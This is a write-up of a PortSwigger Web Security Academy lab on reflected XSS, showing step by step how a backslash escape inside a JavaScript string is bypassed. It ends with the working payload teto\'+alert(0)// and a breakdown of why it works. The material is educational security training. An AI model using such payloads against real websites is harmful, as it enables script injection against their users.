Skip to content

Reflected XSS JS string angle brackets double quotes encoded single quotes escaped

Field Value
Platform PortSwigger Web Security Academy
Difficulty Practitioner
Vulnerability Reflected XSS — Backslash Escape Bypass in JavaScript String
Injection Point JavaScript string inside <script> block
Goal Execute alert(0) by escaping the backslash escape

Lab — Reflected XSS: Backslash Escape Bypass in JavaScript String

Solution Walkthrough

Searching for teto confirms the injection point is inside a JavaScript string:

var searchTerms = 'teto';

Step 1 — Test single quote escaping

teto'
var searchTerms = 'teto\'';
Screenshot

The application escapes ' with \ — our quote is neutralized.

Step 2 — Inject a backslash before the quote

teto\'
var searchTerms = 'teto\\'';
Screenshot

The application escapes our \ to \\ — which in JavaScript represents a literal backslash character, not an escape sequence. Our ' is now unescaped because the \\ consumed the escape role. The string closes at our injected '.

Step 3 — Understand what we have

After teto\\' the string closes, leaving a stray ' at the end. Testing with a variable:

teto\'; var miku = 'miku
var searchTerms = 'teto\\'; var miku = \'miku';
Screenshot

The first statement closes at teto\\' — valid. var miku becomes a second statement. The remaining ' at the end from the application's original closing quote needs to be consumed.

Step 4 — Confirm the structure with concatenation

teto\'+miku
var searchTerms = 'teto\\'+miku';
Screenshot

The string 'teto\\' is concatenated with miku — the stray ' remains at the end.

Step 5 — Inject alert and comment out the trailing quote

teto\'+alert(0)//
var searchTerms = 'teto\\'+alert(0)//'
Screenshot
Screenshot

Alert fires and the lab is solved :P


How the Payload Works

Breaking down teto\'+alert(0)//:

var searchTerms = 'teto\\' + alert(0) // ';
                                        
                  string   concat      comment  app's original '
                  closes   operator    ignores
                  here     calls       everything
                           alert(0)    after

Step by step:

  1. 'teto\\' — a valid JavaScript string containing teto\ (one backslash)
  2. + — string concatenation operator
  3. alert(0) — function call, executes immediately, return value is concatenated
  4. // — JavaScript single-line comment, discards the rest of the line
  5. ' — the application's own trailing quote, now commented out and ignored

The Key Insight — Escaping the Escape

The application escapes '\' and \\\. These two defences seem solid individually, but combining them reveals the bypass:

We send:        \'
App escapes:    \\'    (our \ becomes \\, our ' stays as ')
JS interprets:  \\     = one literal backslash (not an escape sequence)
                '      = closes the string

The \\ in JavaScript source code means "one backslash character" — it does not escape what follows. The application's escaping logic defeats itself when we supply the backslash: it produces \\' which JavaScript reads as [literal backslash][end of string].